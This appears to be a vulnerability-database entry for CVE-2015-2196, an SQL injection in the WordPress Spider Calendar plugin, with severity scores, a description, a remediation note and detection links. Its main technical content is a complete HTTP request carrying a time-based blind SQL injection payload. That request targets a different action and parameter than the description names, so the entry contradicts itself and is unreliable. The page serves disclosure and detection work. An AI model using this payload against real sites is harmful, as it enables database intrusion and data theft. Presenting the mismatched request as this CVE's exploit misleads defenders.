🔙 목록으로 돌아가기

CVE-2015-2196: WordPress Spider Calendar <=1.4.9 - SQL Injection

TitleWordPress Spider Calendar <=1.4.9 - SQL Injection
Authortheamanrawat
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or complete compromise of the WordPress site.
RemediationFixed in version 1.4.14.
CVSS Score7.5
EPSS Score0.02862
CVE IDCVE-2015-2196
CWE IDCWE-89
Tags time-based-sqli cve2015 cve wordpress wp sqli wpscan wp-plugin spider-event-calendar unauth edb web-dorado vuln

🔍 Vulnerability Description

WordPress Spider Calendar plugin through 1.4.9 is susceptible to SQL injection. An attacker can execute arbitrary SQL commands via the cat_id parameter in a spiderbigcalendar_month action to wp-admin/admin-ajax.php, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

🌐 HTTP Request

GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=1)+AND+(SELECT+1183+FROM+(SELECT(SLEEP(6)))UPad)+AND+(9752=9752&type=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4183.127 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-2196.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-2196.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A